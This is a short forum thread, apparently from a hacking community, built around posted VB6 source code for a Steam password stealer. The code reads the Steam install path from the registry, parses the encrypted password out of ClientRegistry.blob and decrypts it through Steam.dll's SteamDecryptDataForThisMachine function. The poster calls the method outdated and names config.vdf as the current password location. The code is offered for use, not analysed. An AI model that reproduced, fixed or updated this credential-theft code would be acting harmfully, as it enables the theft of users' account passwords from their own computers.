VB6 Steam Password Decrypter ClientRegistry.Blob Source Code

[ant_spy_binns]

This is more of a history lesson on how things used to work, the reason why this code will no longer work, because steam has stopped storing the passwords in the ClientRegistry.Blob file, but the new location where steam stores its passwords is in \Steam\config\config.vdf

Private Declare Function SteamDecryptDataForThisMachine Lib "Steam.dll" _
(ByVal encpwd As Any, ByVal encpwdlen As Any, ByVal pwd As Any, ByVal pwdlen As Any, ByRef tama?o As Any) As Long

Private Function Steamdecrypt() As String
On Error Resume Next
Dim i As Object, y As Integer
Dim encpwd As String, pwd As String * 30
Dim daten() As Byte
Dim ret As Long, x As Long
Dim k As Long

Set i = CreateObject("wscript.shell")
SteamDir = i.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Valve\Steam\InstallPath")
Set i = Nothing

If Len(SteamDir) < 0 Then End

Open SteamDir & "\ClientRegistry.blob" For Binary As #1
flen = FileLen(SteamDir & "\ClientRegistry.blob")
ReDim daten(flen)
Get #1, , daten
Close #1

encpwd = StrConv(daten, vbUnicode)

For x = 0 To 30: encpwd = Replace(encpwd, Chr(x), ""): Next
encpwd = Mid(encpwd, InStr(encpwd, "PhraseP~\") + 9, 92) & Chr(0)



k = SteamDecryptDataForThisMachine(encpwd, Len(encpwd), pwd, Len(pwd), ret)


If ret > 0 Then Steamdecrypt = pwd
End Function

Private Function GetSteamDLL() As String
Set WshShell = CreateObject("WScript.Shell")
GetSteamDLL = WshShell.RegRead("HKEY_CURRENT_USER\Software\Valve\Steam\SteamPath")
GetSteamDLL = GetSteamDLL & "\" & "Steam.dll"
End Function

Dim lb As Long, pa As Long
lb = LoadLibrary(GetSteamDLL)
pa = GetProcAddress(lb, "SteamDecryptDataForThisMachine")

[mencore]

Re: VB6 Steam Password Decrypter ClientRegistry.Blob Source Code

This is more of a history lesson on how things used to work, the reason why this code will no longer work, because steam has stopped storing the passwords in the ClientRegistry.Blob file, but the new location where steam stores its passwords is in \Steam\config\config.vdf

I hope this is only the case when a user has "Remember my password" -box ticked.

[ant_spy_binns]

Re: VB6 Steam Password Decrypter ClientRegistry.Blob Source Code

I hope this is only the case when a user has "Remember my password" -box ticked.

I think it is lol
I can't see why steam would store all the passwords for all of your accounts :P